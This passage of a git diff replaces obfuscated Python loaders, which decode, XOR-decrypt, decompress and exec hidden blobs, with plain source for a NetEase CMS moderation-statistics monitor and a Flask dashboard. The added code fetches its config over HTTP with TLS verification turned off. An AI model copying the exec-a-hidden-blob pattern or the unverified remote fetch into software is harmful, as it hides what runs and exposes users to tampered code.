0M&Bf$O|j7uuq(#@p+Oq2H4)n?)wf7@jj~yqUZ?pu{SKn-fwZp06QO}ZDavn*ya`^`-6hB0NP-g)T%~PIvi1QRo=EKuiP>|$BmA`UNc?F>K#BIiM?n|S?i8@*ZZk`pC-}CgjI_|Se{fBotI{kGj>;DAY-LGT0&27WqC&_G<;O3Y9evNaAx#D?H+)c$U;B8Oc`aKKr+cv&E!!F0&IdBuH1GG@_?0mC**n&#{xd7lqc3x~ZBH@FM?#zM5oMUQGF@!6pAm(8dgeBY+x1#}$?|u3jXtSC^#WUtsZ1Tjgu#C5gRv|KFyL@ZK<8J{$vO@tSQ?W{f^oE)?hYZLcgnoH{nI?8Z0epL*7qrj68jPVraJ*GCogbmrzD&nB5q~3u-JoL#`g>Pi0OaCWJ5P38k)cW}G~wNlUvBJh+LMqSA<>k?L%T6<5tE~3xA;=*pROq&>JZ@UQ~!1JCtcAuu26Wn%c=CfPRkUbM~kwgPAYz19dGN@RFZ#CDihOlfU244Y8knT(seN{n)2Wa&;a}ripyVi|bSkQXfmlYIW5-;Ln@NB}F-X`dX;@Xc3ObyL9YNBm$oIhCMiZ@&BoK&lON-Y0jQ#8YrTchp`TfR)xEo6ffc-?^^&@ets40DeNs!>!q`U{8{1nH8Q6@R`SS<93)3*biu!crP5P8UFfSyvrPI$nZY0lO^5Aue?KaE5Fp>7<%J~-RqKQ9BE6bvDhIIcTU}!G2h&uQOV&U8_}YDcTqM~kp}&%J?M$`gDG^q~I^Az)+Gv|Gr&i5~89%`FvQwUQ8DovsTc#)&L!&f~bbwb`K7V!^d|eQ$RvytW-kNC3DS3JWli`?MEy|>%OVGg4KO~5R1e7<42cz&>dBA4w16Us}EV-fhM3S)OaIvu4~#m-tj^|?6N^c)_9oGzOQS3Zb`Xk=eb7{#w!Ss4!l}jZDFm1$hA3hYl7${2M6fG>N>ETHcp9zZc#Z1iFH{Xp-f?f*H5JeBa`|Fcu$&Hy$T?GCG3VvUAm9%JbAw=+i$s#Vv32oK5a9)B+T+lcM4kI67h4yo-9ioi}=RP=}5mKdFG@y6{Xz-O;S$OgTTD&sf9Kmx~suiXteAH^5EZ?Z^ekvTmcsV(Y0IO)N4%lhj{j;oIfX}FVO@$wj%4$JDp`#?>~GU1SDM_$ym21v3fy^!VH7iG++caYNn^o(w$vKfn&!-W??ZKzgks!_O$bFG~G;f9EZ?R?uukK#CVUtz4L7pzCJjwC?cYBarUzhX*47)=o89xX0c)zwHfDfc0@TersFY-gDtheRMfIWPDo?oUPz#BlCgD)*7LV_`mQQx%J{CbgeZyLlS=(6JP(c-G_ePWK<)gq&0c~mJVqx5p}F>v*liw4@<-Jl1qg}WU9k}fWmFblbbXq@7Y+*_mUx$3L-nGv;9O{tuI(oxcTkO`~by7)(7Et9YAs@venl-GXUrG;F7zzAV}{XZ{uIHf!tU42x__=Naku>oadkI+)ClrINSBmKBXfpB>wzV9-_w#-YXW`?mPS-3hSf_?=vW-)Z=bt2M{yVheIq)=&b(<@O6+TJkpish5X4INJM`}M)3=>&{8W^;XQ$Das0K?1MyHxUD?4>A4w;RUuvHDv^UQn4BW^p)0-w)RX0C&q&*ix-8(yNqU70_l5}TBC(28a#*+9+)~{_WA~$bP{{GqE@vjQcLIur06syR}k!^jwVXps)A*5;^qtNpCJf9kqdI4$f;p<2+N7C8zdP?{4I4ErddZm)_$AuX9@m_d%#KZ{=oljQ2PCkP$n&B&fQPr}K%2x-v4AxU@`^q}F!OVRYQU1*WY?}`Ae&DqE6kHRTwkm_=IPBW-Wh84gCZ=V3U;6`+*S`=-(M)&Of68qE=ZK|IF1)|k!#8*&c>B~bCe~{jo@`l+0~_&$G|W(*K=Z6#zgcj#6MC?I3O!EF$5Ld$fnwoM(Ku4iOJdwkASD?^i58?FTOtTEeSLz8!y&RFuOt{BBH8R3cpWJUR(T1>WIeozK>1Dn-mHN-KguyYAK<+SkZkmlc+FHD_HCa_4B=6=UHy6Zt7GYCz&{gXlZX^&F6@0exzc6c=JAzp-2M?XzHg^Y@$b*96o?q4wT|RNSRGwnXZP+=qZx@0yZ~h!r4j3kC7s6DGM`+zz~or;7ySk!6yo}dHZ;uJJe37^vHiX_h+c6GMS-O*tD9np7H-JC57m|A&c(^eVNELUM>3UrV#NK)TJ2FWf&YGs7)$4COSoc+z!l_P{?5@t$F|x>eMF17_e`<(C*}Q=<`7;Gg0!X`lLnh()z^YWU1%dGUM0yw*(kye|DESinL?N+@0%hXQ4w<9zz!PK#v;;ajGsBsqY4;Rt7KSD>W4ZJ!KbEh^`$S18UFWJi7;}zo`L}t-!YL{Mg' -try: - _Crqcfp7=base64.b85decode(_cRJoTTSH) - _JVeWKWJ=_oaOTdnILk5ke(_Crqcfp7,_S7Itg1) - _vmsLS1Wi=zlib.decompress(_JVeWKWJ) - exec(compile(_vmsLS1Wi.decode('utf-8'),'','exec')) -except Exception as e: - _FUeEHnKvM="程序无法启动: "+str(e)[:50] - _MOZ2BQ57jpF("错误",_FUeEHnKvM,1) - sys.exit(1) +# 全局变量 +user_credentials = { + 'cookie': None, + 'username': None +} +credentials_lock = Lock() +coefficients_lock = Lock() + +# 定义全局系数变量 +COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +# 读取系数配置 +def load_coefficients(): + """从在线链接获取系数配置,如果获取失败则使用默认配置""" + global COEFFICIENTS + try: + with coefficients_lock: + url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/cms_coefficients.json" + + # 检查本地文件是否存在 + local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) + + # 如果是首次运行或需要强制更新 + if not local_config_exists: + log("首次运行,从在线服务器获取系数配置") + if not fetch_and_save_coefficients(url): + log("首次获取系数配置失败,使用默认配置") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + return + + # 读取本地配置 + try: + with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: + local_coefficients = json.load(f) + except Exception as e: + log(f"读取本地系数配置失败: {str(e)}") + local_coefficients = None + + # 尝试获取在线配置 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + online_coefficients = response.json() + + # 比较配置是否发生变化 + if local_coefficients != online_coefficients: + log("检测到系数配置发生变化,更新本地配置") + if fetch_and_save_coefficients(url): + log("系数配置更新成功") + else: + log("系数配置更新失败,继续使用本地配置") + else: + log("系数配置未发生变化,使用本地配置") + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + except Exception as e: + log(f"检查在线系数配置时发生错误: {str(e)}") + + # 使用本地配置 + if local_coefficients: + COEFFICIENTS.update(local_coefficients) + log(f"从本地从加载系数: {local_coefficients}") + else: + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + + except Exception as e: + log(f"加载系数配置失败: {str(e)}") + COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() + +def fetch_and_save_coefficients(url): + """从在线服务器获取系数配置并保存到本地""" + max_retries = 3 + retry_delay = 5 # 重试间隔(秒) + + for attempt in range(max_retries): + try: + # 尝试不使用代理直接获取 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + except: + # 如果直接获取失败,尝试使用系统代理 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + response = requests.get(url, timeout=10, proxies=proxies, verify=False) + + if response.status_code == 200: + loaded_coefficients = response.json() + # 更新系数 + COEFFICIENTS.update(loaded_coefficients) + # 保存到本地文件 + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) + log(f"从服务器获取系数: {loaded_coefficients}") + return True + else: + log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + except Exception as e: + log(f"获取在线系数配置时发生错误: {str(e)}") + if attempt < max_retries - 1: + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + return False + +def send_global_message(message): + """发送全局消息提示""" + try: + # 将消息写入到全局消息文件 + message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json') + messages = [] + if os.path.exists(message_file): + with open(message_file, 'r', encoding='utf-8') as f: + messages = json.load(f) + + # 添加新消息 + messages.append({ + 'timestamp': int(time.time()), + 'message': message, + 'type': 'error' + }) + + # 只保留最近100条消息 + if len(messages) > 100: + messages = messages[-100:] + + # 保存消息 + with open(message_file, 'w', encoding='utf-8') as f: + json.dump(messages, f, ensure_ascii=False) + except Exception as e: + log(f"发送全局消息失败: {str(e)}") + +# 保存系数配置 +def save_coefficients(coefficients=None): + """保存系数到配置文件""" + try: + if coefficients is None: + coefficients = COEFFICIENTS + + with coefficients_lock: + with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: + json.dump(coefficients, f, indent=4, ensure_ascii=False) + log(f"系数配置已保存: {str(coefficients)}") + except Exception as e: + log(f"保存系数配置失败: {str(e)}") + +# 初始化用户凭据(从环境变量读取) +def init_credentials(): + """从环境变量初始化用户凭据""" + try: + cookie = os.environ.get('CMS_COOKIE', '') + username = os.environ.get('CMS_USERNAME', '') + + if cookie and username: + with credentials_lock: + user_credentials['cookie'] = cookie + user_credentials['username'] = username + log(f"已从环境变量加载用户凭据: {username}") + return True + else: + log(f"未能从环境变量获取用户凭据,CMS_COOKIE长度: {len(cookie)}, CMS_USERNAME: {username}") + return False + except Exception as e: + log(f"初始化用户凭据失败: {str(e)}") + return False + +def get_api_headers(cookie): + """获取API请求头""" + return { + 'accept': 'application/json, text/javascript, */*; q=0.01', + 'accept-language': 'zh-CN,zh;q=0.9', + 'cookie': cookie, + 'priority': 'u=1, i', + 'referer': 'https://god-cms.gameyw.netease.com/cms/admin/logList', + 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Windows"', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-origin', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', + 'x-requested-with': 'XMLHttpRequest' + } + +def get_api_params(username, start_time, end_time, page=1, limit=500): + """获取API请求参数""" + return { + 'page': page, + 'limit': limit, + 'username': username, + 'operation': '', + 'oid': '', + 'startTime': start_time, + 'endTime': end_time, + 'ext': '{}' + } + +def log(message): + """记录日志""" + try: + logging.info(f"[CMS] {message}") + except Exception as e: + print(f"日志记录失败: {str(e)}") + print(f"原始消息: {message}") + +def get_stats_from_api(cookie, username, start_time, end_time, max_pages=500): + """从API获取统计数据""" + stats = { + 'comment': 0, + 'feed': 0, + 'complaint': 0 + } + + headers = get_api_headers(cookie) + total_count = 0 + page = 1 + + while page <= max_pages: + try: + params = get_api_params(username, start_time, end_time, page) + log(f"正在获取第 {page} 页数据,时间范围:{start_time} 至 {end_time}") + + # 记录请求详情(不包含敏感信息) + log(f"请求URL: {API_BASE_URL}") + log(f"请求参数: {str({k: v for k, v in params.items() if k not in ['cookie', 'username']})}") + + response = requests.get(API_BASE_URL, headers=headers, params=params, timeout=10) + + if response.status_code == 200: + try: + data = response.json() + + # 检查API响应格式 + if 'result' in data: + # 这是一个成功的响应,直接使用result字段 + items = data.get('result', []) + log(f"API返回成功,找到 {len(items)} 条记录") + elif data.get('success') == False: + # 这是一个明确的失败响应 + error_msg = data.get('message', '未知错误') + log(f"API返回错误:{error_msg}") + log(f"API响应内容:{response.text[:500]}") + if 'login' in error_msg.lower(): + log("Cookie可能已过期") + return None + break + else: + # 其他情况,记录响应并退出 + log(f"未知的API响应格式:{response.text[:500]}") + break + + count = len(items) + + if count == 0: + log("当前页没有数据") + break + + for item in items: + title = item.get('title', '') + operation = item.get('operation', '') + if (title == '评论审核:审核通过' or operation == 'FEED_COMMENT_REVIEW_PASS') and not title == '动态审核:审核通过': + stats['comment'] += 1 + elif title == '动态审核:审核通过' or operation == 'FEED_REVIEW_PASS': + stats['feed'] += 1 + elif operation == 'HANDLE_COMPLAINT': + stats['complaint'] += 1 + + total_count += count + log(f"第{page}页有 {count} 条记录,总计 {total_count} 条") + log(f"统计结果:评论 {stats['comment']},动态 {stats['feed']},举报 {stats['complaint']}") + + if count < params['limit']: + log("已获取所有数据") + break + + except ValueError as e: + log(f"解析JSON数据失败: {str(e)}") + log(f"原始响应内容:{response.text[:500]}") + if 'login' in response.text.lower(): + log("Cookie已过期") + return None + break + else: + log(f"API请求失败: HTTP {response.status_code}") + log(f"响应内容: {response.text[:500]}") + break + + page += 1 + + except requests.exceptions.Timeout: + log("API请求超时") + break + except requests.exceptions.ConnectionError: + log("网络连接错误,请检查网络连接") + break + except Exception as e: + log(f"获取数据失败: {str(e)}") + break + + # 确保每次都是从配置文件读取最新系数 + load_coefficients() + + # 使用全局系数变量 + with coefficients_lock: + current_coefficients = COEFFICIENTS.copy() + + # 计算折算总数 + weighted_total = ( + stats['comment'] * current_coefficients['comment'] + + stats['feed'] * current_coefficients['feed'] + + stats['complaint'] * current_coefficients['complaint'] + ) + + log(f"最终统计结果:评论 {stats['comment']},动态 {stats['feed']},举报 {stats['complaint']},折算总计 {weighted_total:.2f}") + log(f"使用系数:评论={current_coefficients['comment']}, 动态={current_coefficients['feed']}, 举报={current_coefficients['complaint']}") + + # 构建包含系数的结果 + categories = { + "评论审核": { + "count": stats['comment'], + "weighted": stats['comment'] * current_coefficients['comment'], + "coefficient": current_coefficients['comment'] + }, + "动态审核": { + "count": stats['feed'], + "weighted": stats['feed'] * current_coefficients['feed'], + "coefficient": current_coefficients['feed'] + }, + "举报处理": { + "count": stats['complaint'], + "weighted": stats['complaint'] * current_coefficients['complaint'], + "coefficient": current_coefficients['complaint'] + } + } + + return { + 'stats': stats, + 'weighted_total': weighted_total, + 'total_count': total_count, + 'categories': categories, + 'coefficients': current_coefficients + } + +def check_current_hour_counts(cookie, username): + """检查当前小时数据""" + try: + # 获取当前小时的开始时间 + now = datetime.now() + current_hour = now.hour + + start_time = now.replace(minute=0, second=0, microsecond=0).strftime('%Y-%m-%d %H:%M:%S') + end_time = now.strftime('%Y-%m-%d %H:%M:%S') + + # 调用API获取数据 + result = get_stats_from_api(cookie, username, start_time, end_time) + if result is None: + log("获取当前小时数据失败") + return None + + # 将结果写入共享文件 + try: + data = { + 'type': 'cms_hourly', + 'stats': result, + 'timestamp': now.strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_hourly.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("小时数据已更新到共享文件") + except Exception as e: + log(f"写入小时数据到共享文件失败: {str(e)}") + + return result + + except Exception as e: + log(f"检查当前小时数据失败: {str(e)}") + return None + +def check_daily_counts(cookie, username): + """检查全天数据""" + try: + # 获取今天的开始时间 + today = datetime.now().strftime('%Y-%m-%d') + start_time = "%s 00:00:00" % today + end_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + + # 调用API获取数据 + result = get_stats_from_api(cookie, username, start_time, end_time) + if result is None: + log("获取今日数据失败") + return None + + # 将结果写入共享文件 + try: + data = { + 'type': 'cms_daily', + 'stats': result, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_daily.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("全天数据已更新到共享文件") + except Exception as e: + log(f"写入全天数据到共享文件失败: {str(e)}") + + return result + + except Exception as e: + log(f"检查今日数据失败: {str(e)}") + return None + +def monitor_hourly_thread(): + """每小时监控线程""" + log("每小时监控线程启动") + while True: + try: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + # 检查当前小时数据 + check_current_hour_counts(cookie, username) + time.sleep(120) # 每2分钟检查一次 + else: + time.sleep(30) # 未登录时等待30秒 + + except Exception as e: + log(f"每小时监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def monitor_daily_thread(): + """每日监控线程""" + log("每日监控线程启动") + while True: + try: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + # 检查全天数据 + check_daily_counts(cookie, username) + time.sleep(3600) # 每60分钟检查一次 + else: + time.sleep(30) # 未登录时等待30秒 + + except Exception as e: + log(f"每日监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +# 监控配置文件变化线程 +def monitor_config_thread(): + """监控配置文件变化线程""" + log("配置监控线程启动") + last_check_time = 0 + check_interval = 1800 # 30分钟 + + while True: + try: + current_time = time.time() + + # 检查是否需要更新配置 + if current_time - last_check_time >= check_interval: + log("开始检查系数配置更新") + load_coefficients() + last_check_time = current_time + + time.sleep(60) # 每分钟检查一次时间 + + except Exception as e: + log(f"配置监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def main(): + """主函数""" + log("CMS监控系统启动") + + # 解析命令行参数 + check_now = False + force_mode = False + update_coefficients = False + no_config_check = False + + for arg in sys.argv: + if arg == "--check-now": + check_now = True + log("收到立即检查参数") + elif arg == "--force": + force_mode = True + log("收到强制模式参数") + elif arg == "--update-coefficients": + update_coefficients = True + log("收到更新系数参数") + elif arg == "--no-config-check": + no_config_check = True + log("收到禁用配置检查参数") + + # 从配置文件加载系数,除非指定了不检查配置 + if not no_config_check: + load_coefficients() + else: + log("跳过配置检查,使用当前已加载的系数") + + # 处理系数更新 + if update_coefficients: + # 检查是否提供了新系数 + if len(sys.argv) >= 5: # 脚本名 + --update-coefficients + 3个系数值 + try: + # 查找参数中的系数值 + for i, arg in enumerate(sys.argv): + if arg == "--update-coefficients" and i + 3 < len(sys.argv): + new_coefficients = { + 'comment': float(sys.argv[i+1]), + 'feed': float(sys.argv[i+2]), + 'complaint': float(sys.argv[i+3]) + } + + log(f"更新系数:评论={new_coefficients['comment']}, 动态={new_coefficients['feed']}, 举报={new_coefficients['complaint']}") + + # 更新全局系数 + with coefficients_lock: + COEFFICIENTS.update(new_coefficients) + + # 保存到配置文件 + save_coefficients() + break + except ValueError as e: + log(f"系数更新失败: {str(e)}") + log("系数必须是有效的数字") + + log("系数更新完成,退出程序") + sys.exit(0) + + # 确保输出目录存在 + script_dir = os.path.dirname(os.path.abspath(__file__)) + if not os.path.exists(script_dir): + os.makedirs(script_dir) + + # 从环境变量初始化凭据 + init_credentials() + + # 处理--check-now参数 + if check_now: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + log("开始执行手动检查") + + if force_mode: + # 在强制模式下,使用当前小时的整点数据进行查询 + now = datetime.now() + current_hour = now.hour + start_time = now.replace(minute=0, second=0, microsecond=0).strftime('%Y-%m-%d %H:%M:%S') + end_time = now.replace(minute=59, second=59, microsecond=999999).strftime('%Y-%m-%d %H:%M:%S') + + log(f"强制模式:使用整点时间 {start_time} 至 {end_time}") + + # 调用API获取数据 + result = get_stats_from_api(cookie, username, start_time, end_time) + if result is not None: + # 将结果写入共享文件 + try: + data = { + 'type': 'cms_hourly', + 'stats': result, + 'timestamp': now.strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_hourly.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("小时数据已更新到共享文件") + except Exception as e: + log(f"写入小时数据到共享文件失败: {str(e)}") + else: + # 常规检查 + check_current_hour_counts(cookie, username) + + log("手动检查完成") + else: + log("无法执行手动检查: 凭据不可用") + + # 立即检查完成后退出 + sys.exit(0) + + # 启动监控线程 + hourly_thread = threading.Thread(target=monitor_hourly_thread) + hourly_thread.daemon = True + hourly_thread.start() + + daily_thread = threading.Thread(target=monitor_daily_thread) + daily_thread.daemon = True + daily_thread.start() + + # 启动配置监控线程 + config_thread = threading.Thread(target=monitor_config_thread) + config_thread.daemon = True + config_thread.start() + + # 保持主线程运行 + try: + while True: + time.sleep(10) + except KeyboardInterrupt: + log("程序被用户中断") + except Exception as e: + log(f"主线程异常: {str(e)}") + finally: + log("CMS监控系统关闭") + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/dashboard.py b/dashboard.py index c1ce947..faac293 100644 --- a/dashboard.py +++ b/dashboard.py @@ -1,49 +1,2391 @@ +#!/usr/bin/env python # -*- coding: utf-8 -*- -import base64,zlib,sys,os,time,random -import threading,importlib,subprocess +import os +import json +import time +import subprocess +import threading +import sys +from datetime import datetime, timedelta +import logging +import webbrowser +from flask import Flask, render_template, request, jsonify, session, redirect, url_for, make_response, send_from_directory, flash +import threading +from threading import Lock +import signal +import socket +import requests +import re +from flask_socketio import SocketIO # 添加WebSocket支持 +import hashlib +import psutil +import urllib3 -def _hAPpaDQ1fvtw(d,k): - return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) +# 禁用不安全请求的警告 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -def _WsnkqvGpW(t,m,is_error=False): - try: - try: - from playsound import playsound - except ImportError: - subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], - stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) - from playsound import playsound - - - try: - import winsound - sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION - winsound.MessageBeep(sound_type) - except: - print("\a") - +# 全局应用状态变量 +shutdown_flag = False # 控制应用程序关闭的标志 - print("\n" + "="*50) - print(f"{t}: {m}") - print("="*50 + "\n") - - return True - except Exception as e: - print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") - return False +# 初始化 SocketIO +socketio = SocketIO() -def _JwHjQ7H2U1s(t,m,e=0): - _WsnkqvGpW(t,m,e==1) +# 系统版本固定在代码中 +VERSION = "v20250429213045" # 系统版本号 - 这是固定的本地版本 +# 配置日志 +def setup_logging(): + try: + # 获取当前脚本所在目录 + script_dir = os.path.dirname(os.path.abspath(__file__)) + log_file = os.path.join(script_dir, 'dashboard.log') + + # 确保日志文件存在 + if not os.path.exists(log_file): + with open(log_file, 'w', encoding='utf-8') as f: + f.write('') + + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.FileHandler(log_file, encoding='utf-8', mode='a'), + logging.StreamHandler() + ] + ) + logging.info("Dashboard日志系统初始化成功") + except Exception as e: + print(f"日志系统初始化失败: {str(e)}") + # 如果文件日志失败,至少使用控制台日志 + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[logging.StreamHandler()] + ) -_Jboesd=b"\x8e\x06\xc0'5\xd9\xb5\x86\xc1\x13*\x82{\xf7\xbe$" -_R4SToi6i=b'_L?nP$gZZrbNj`9Zsc3t#@Ka2EE}75V~=492sCFPww`@l!sCe>a3`2$S-j+_0{11}C`xf&y@@W6d2hZg(M>{X1JJFVF$~$Z=?iVzg{f8bl|VxnA?yWQ6G3oJM!oh7Hvj?NDVv{q;kh1Tb*>+0E<@;D4RW%aj5T?Dpnh3uuUPLvb&s0)ly0v$}X!F=0*f@m*vS&SKvP+uik4qo)UUL>yLphvVnBwR`2SNtV;?*-T@7dv>qZmT)y5q^b(x5?5%=dqnr|xr;&Ir|+bW8o=#@xAahrduHLA9g)Ld@tWS&5@gd3h-oLm_tD4W@p*YSke~CobChYEN)p@^}q<@jv8Un>AD!*s=ah91Wq;yk5(kw$(osl946(z%@6>LL3p9)Yi!~WFi_VC;w^NC@jCroSO!e4NAr&KkC|hdEpfZWeYOWN^5xYeMJ+5Be4LS!Jrjn(O&PlMU6`n-%3&Wdxa9=iZDLs?&5bk5Qg|=|EbiP||6=nT#X4S7G$WNy;Iq(#8k4Q<;1?M{tIfJn5g=-#a*JC0>!R%N$qP4-3%ztXNFRq6vV+J{=XXZLQ7qlFANm|^g$4w2^{|S8?%pPXhNXTkVKS5@3o~djt-DE+Vkvy9fpGU5Z7dVrs2sEA+ip09JyPtBo)#>8s_lCjAyNv49XOJU)4GgD1R-nRW*yU!x5DWQR8fD`dRzWfO!og+sop~L(z_a)On(dhaO&3KF?xMsyH)Bj`Fs8s-6G(35L}7RNfA|Ja$m7Nz2hg}-Vh2$g2W8T!Xv_Y@ZgPsl(>{6OaN2vk<$uj$@_2w-iSb8{pY#F>|5>vEp~0sxYZg_!lpsreQfUtHWJ4XrX&)u1W)qwaU}=^#^g^-~vatvfgm5Du>>vzg_aRRq8_it`fM(L#ovCEP)-iNLZ_H+e`0h5dobQhUX~buYPc9ALhZ*gd<6NJ0y8`FXY5np%j*3m=Rbuw0(ror~{|hQ5R*pYLJ8NWIN)FkPw>qy82Kby&2K`qht3MX+a|Ypg6k~u=8H|O6zex&xpp4yhK8}w2*?T^VNHY`rIE|qOO`s~2uf;RW$I}&bp3B&X?7@8muRGI=5LJ5)syc2UE?L>M?cx4PX=VFjQq|vCKUdQVpe*~s4h5H&-TPA(Ug5*~SI;7~Qs9ejgF=m0*;?6To~wAfPRn{@2;B9Q7DAfyT5X|X*qSjruq*XkiNFLRItdFfsZ3Ta29c(Z8=yX`tvAsM{$*(&K5R~O@44cZZDkt$S{KA%rN-|F*3P-!R@HiyzRH%$XD2F#1yH3GI(y8=Ph>D0ym6fzUJX!N$nVa1`&9$U5!HKj*nHi+-$>|mOpzQsg-1XX%8s@wbs9SDKJ3j!~u>Vsl7w6m3&+MhMJ&}xUM(w?4LmQk>zVqrlc%My&2q_v5uP6g*~7T6uPw!9v`w%IC#nPWB;DP4dlWDVAa4!LgRT30C3OHoDYW|@F@YP`T29;e-uF_bg;Vx|3|DwJZAJ9KP>HffNmI7^h=tXJ%BX|grKLJ2nHdKlR-^;Udd75xwyISw4}DDba9ox5R|fy|#q6}lyteWyIGQC>nGI>BgMG)e%MVty_H5>3+v##n@-X9DB#S~)n6%qj%H=6)6keA|eUz!hbqcJ=7hq8bbSGalyCVg%Fr$eOH2-Pb#mw(VuEUQHSTYl$B)!jMzM>g*Tvqj>CumL66BtRty7iDbNcWwnA$vN+qQ)?!#{u!HA^Hv9`DHGJ$Sq&+@_qJf-2d>AsLX7h*j<(TA^I)O2uCguAmn|EJIPWWOOz8|(4XhqcrI(n*;l`y4a&q3pp_w>nDnpMf^8fjEMo3gMS9c#6&A!PV6+sWS?)-Eg_i^M)P(6L0-LUhherw+}Fs_JLUmsh)60fS|thg_U~b*t7YYA21_+CA}^UbaYl5QmB(PApDjc6ggrWIhaFPE}Y0j#HG;^b@;4h_Du6i|4O;>$N!|ax#^}Zipp%+)=v&?q#}i?OECYgbiwQiQSGQk&;`M&$t|{R;`6C6CA*kGj?-XRuIc{LN49Xo%cx4t>gLyzJww5;^HVJF^ocFj(5|4wsVNHR%6N!vEByO4fp+AGA}}D|JzxPYLah`F-9)NodsTD;h7`vy0QipFf?2PrTOt7BeB638{0o*;S5hUZ;r>E-gF{z&{m`f*hbAUe#%RPcRoOMosKl9GqH4YJsmss!}v>kf56{rot4@T`?KX|FbI4>YBDA^blPx9VvpZR|9tlWIpERr^G$LxaPLzD@LA<&NiysLC1HoF`B4;MO_{&)we*9pn!HaD+r_el0Kg#zzI8{n^r0A#ORX8zFDeM>^FM_2;PEbXgoB)u=|H2EFe<3Ug+SN-J7e5Ah3+yj(JHIQ23YV^;l{$!{>g`pU>@oiF6TWmNTK2JnzzS>?izu9xX+sl*>C-~AP4j?o+y3-BH?Rc5E?rf&@9%OZk4FRhA-g(;gJt>BFXJ_NBeI|O}7rGoK15qhcWaKtav7UJjYPj@#37;Egns?AAu-C5iow5S%%2iej;LIF8c(TIEZf(DEo13^AbqTqflMt&0B=I<7Qp+1R(w$_1QXf(Qj2q~lPB#R$0G(r_1*1EXvf6vGAl~PJ@)HU()<}9xqx`_;8_pActOk{-E!T@vS57SW=l2g0dw{P=?OiQHU1Gi&^(}1fRLftzy3VeVeq;;)vdBE`oDg#+QhNzXB7qEGQ#NAi=Wpo#jQjx-N>T!=IXuIL?!A9r<&Imit^rhVp8PxdYj92~E`%mZwT{=}-2?^TxPwKrgLf@Ox#`t+PqrV_M6EH+Kew$wuPJh@d|A*myzi&wPMDxSY-Hbp;LaMp442I_y#NV7r!fn-*lg71T1@-+>1{2Hr^*RDtf$*%Z=DwIJe;)WuZVTHk%Q`?It;x}`-%I_y=iyJchvnoTI1CH-f2H&U#)EX4M)Vh)?S#qUc>^%t&?WQDMMv8%)YD(btr8|rc2F(=$$`P#M|_$@I@Rdr9gSSbE}xa24vtKAz=86$A2e;A*BsNnRe96m*8XTrsH3~|Hv37(JdhyDx=1c8M20&|ulU4}Fcgp5ID)(Sh&IK?@cD`$4SH=t96icQyNC-P(!mPwYa|*9AMJ}h;wjS*(PF`;yEC@^Qj_p47lESmN%upsm<>YHJ|r-XiqN-Hq87McP+t}dOrNC*DMnKwnNPIwz+DByaW_h{h2wrnQrD&^78rC^R7=_3G3Pis2xx%J>Tgok*FCo3FAt)_NHus3tbzl<7p@kKCEjoc-RAA4bt@wGyOXjSzoi#wY4anfrPPPj4gqrMg+h86i33!47&RXUd8}z2;n51I>&Be<5c^cZobF#ABKiS|6^+!uMckc&STZ?BlDrc|L_1LRXCmX>=5~f(4ZBAnvRP)*52YSe0c9If}Ai)$Q%RQO0o50f~aJb6*I%ew-R~J4g0AUaR@|4VXZc!eW6=?KMGnf5{`bKmT>goAm^cV{p*{ZMtZh7132H